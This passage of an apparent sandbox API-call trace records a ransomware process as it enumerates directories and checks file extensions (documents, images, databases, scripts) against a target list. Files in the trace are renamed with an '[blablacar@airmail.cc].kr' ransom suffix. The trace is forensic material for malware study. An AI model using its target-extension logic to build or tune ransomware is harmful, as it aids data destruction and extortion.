(lpString=".html") returned 5 [0175.149] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0175.149] lstrlenW (lpString=".icb") returned 4 [0175.149] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".ics") returned 4 [0175.149] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".iff") returned 4 [0175.149] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".inc") returned 4 [0175.149] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0175.149] lstrlenW (lpString=".indd") returned 5 [0175.150] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0175.150] lstrlenW (lpString=".ini") returned 4 [0175.150] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".iqy") returned 4 [0175.150] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".j2c") returned 4 [0175.150] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".j2k") returned 4 [0175.150] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".java") returned 5 [0175.150] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0175.150] lstrlenW (lpString=".jp2") returned 4 [0175.150] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".jpc") returned 4 [0175.150] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".jpe") returned 4 [0175.150] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".jpeg") returned 5 [0175.150] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0175.150] lstrlenW (lpString=".jpf") returned 4 [0175.150] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".jpg") returned 4 [0175.150] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".jpx") returned 4 [0175.150] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".js") returned 3 [0175.150] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0175.150] lstrlenW (lpString=".jsf") returned 4 [0175.150] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".json") returned 5 [0175.150] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0175.150] lstrlenW (lpString=".jsp") returned 4 [0175.150] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0175.150] lstrlenW (lpString=".kdc") returned 4 [0175.151] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".kmz") returned 4 [0175.151] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".kwm") returned 4 [0175.151] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".lasso") returned 6 [0175.151] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0175.151] lstrlenW (lpString=".lbi") returned 4 [0175.151] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".lgf") returned 4 [0175.151] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".lgp") returned 4 [0175.151] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".log") returned 4 [0175.151] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".m1v") returned 4 [0175.151] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".m4a") returned 4 [0175.151] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".m4v") returned 4 [0175.151] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".max") returned 4 [0175.151] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".md") returned 3 [0175.151] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0175.151] lstrlenW (lpString=".mda") returned 4 [0175.151] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".mdb") returned 4 [0175.151] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".mde") returned 4 [0175.151] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".mdf") returned 4 [0175.151] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0175.151] lstrlenW (lpString=".mdw") returned 4 [0175.151] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mef") returned 4 [0175.152] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mft") returned 4 [0175.152] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mfw") returned 4 [0175.152] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mht") returned 4 [0175.152] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mhtml") returned 6 [0175.152] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0175.152] lstrlenW (lpString=".mka") returned 4 [0175.152] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mkidx") returned 6 [0175.152] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0175.152] lstrlenW (lpString=".mkv") returned 4 [0175.152] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mos") returned 4 [0175.152] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mov") returned 4 [0175.152] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mp3") returned 4 [0175.152] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mp4") returned 4 [0175.152] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mpeg") returned 5 [0175.152] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0175.152] lstrlenW (lpString=".mpg") returned 4 [0175.152] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mpv") returned 4 [0175.152] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mrw") returned 4 [0175.152] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".msg") returned 4 [0175.152] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0175.152] lstrlenW (lpString=".mxl") returned 4 [0175.153] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".myd") returned 4 [0175.153] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".myi") returned 4 [0175.153] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".nef") returned 4 [0175.153] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".nrw") returned 4 [0175.153] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".obj") returned 4 [0175.153] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".odb") returned 4 [0175.153] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".odc") returned 4 [0175.153] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".odm") returned 4 [0175.153] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".odp") returned 4 [0175.153] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".ods") returned 4 [0175.153] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".oft") returned 4 [0175.153] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".one") returned 4 [0175.153] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".onepkg") returned 7 [0175.153] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0175.153] lstrlenW (lpString=".onetoc2") returned 8 [0175.153] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0175.153] lstrlenW (lpString=".opt") returned 4 [0175.153] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".oqy") returned 4 [0175.153] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".orf") returned 4 [0175.153] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0175.153] lstrlenW (lpString=".p12") returned 4 [0175.154] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".p7b") returned 4 [0175.154] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".p7c") returned 4 [0175.154] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pam") returned 4 [0175.154] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pbm") returned 4 [0175.154] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pct") returned 4 [0175.154] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pcx") returned 4 [0175.154] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pdd") returned 4 [0175.154] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pdf") returned 4 [0175.154] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pdp") returned 4 [0175.154] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pef") returned 4 [0175.154] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pem") returned 4 [0175.154] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pff") returned 4 [0175.154] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pfm") returned 4 [0175.154] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pfx") returned 4 [0175.154] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".pgm") returned 4 [0175.154] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".php") returned 4 [0175.154] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0175.154] lstrlenW (lpString=".php3") returned 5 [0175.155] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".php4") returned 5 [0175.155] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".php5") returned 5 [0175.155] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".phtml") returned 6 [0175.155] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0175.155] lstrlenW (lpString=".pict") returned 5 [0175.155] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".pl") returned 3 [0175.155] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0175.155] lstrlenW (lpString=".pls") returned 4 [0175.155] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".pm") returned 3 [0175.155] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0175.155] lstrlenW (lpString=".png") returned 4 [0175.155] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".pnm") returned 4 [0175.155] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".pot") returned 4 [0175.155] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".potm") returned 5 [0175.155] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".potx") returned 5 [0175.155] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".ppa") returned 4 [0175.155] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".ppam") returned 5 [0175.155] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".ppm") returned 4 [0175.155] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".pps") returned 4 [0175.155] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0175.155] lstrlenW (lpString=".ppsm") returned 5 [0175.155] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0175.155] lstrlenW (lpString=".ppt") returned 4 [0175.156] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".pptm") returned 5 [0175.156] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0175.156] lstrlenW (lpString=".pptx") returned 5 [0175.156] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0175.156] lstrlenW (lpString=".prn") returned 4 [0175.156] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".ps") returned 3 [0175.156] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0175.156] lstrlenW (lpString=".psb") returned 4 [0175.156] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".psd") returned 4 [0175.156] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".pst") returned 4 [0175.156] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".ptx") returned 4 [0175.156] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".pub") returned 4 [0175.156] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".pwm") returned 4 [0175.156] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".pxr") returned 4 [0175.156] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0175.156] lstrlenW (lpString=".py") returned 3 [0175.156] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0175.156] lstrlenW (lpString=".qt") returned 3 [0175.156] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0175.156] lstrlenW (lpString=".r3d") returned 4 [0175.156] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0175.156] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.157] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e835c1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e835c1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7ea991b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.157] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e835c1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e835c1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7ea991b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.157] FindClose (in: hFindFile=0x44208e0 | out: hFindFile=0x44208e0) returned 1 [0175.157] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.157] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6c75175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0175.158] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.158] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6c75175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420a60 [0175.159] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6c75175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.159] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c4f11e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c4f11e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c4f11e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.159] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c4f11e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c4f11e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.159] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc823d1df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.159] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc823d1df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.159] FindClose (in: hFindFile=0x4420a60 | out: hFindFile=0x4420a60) returned 1 [0175.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.160] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0175.160] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.160] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44208e0 [0175.165] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.165] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c9b6ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c9b6ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.165] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc775c58e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc775c58e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc775c58e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.165] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc826340c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.166] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc826340c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.166] FindClose (in: hFindFile=0x44208e0 | out: hFindFile=0x44208e0) returned 1 [0175.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.167] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77f4f5a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0175.167] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.167] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77f4f5a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 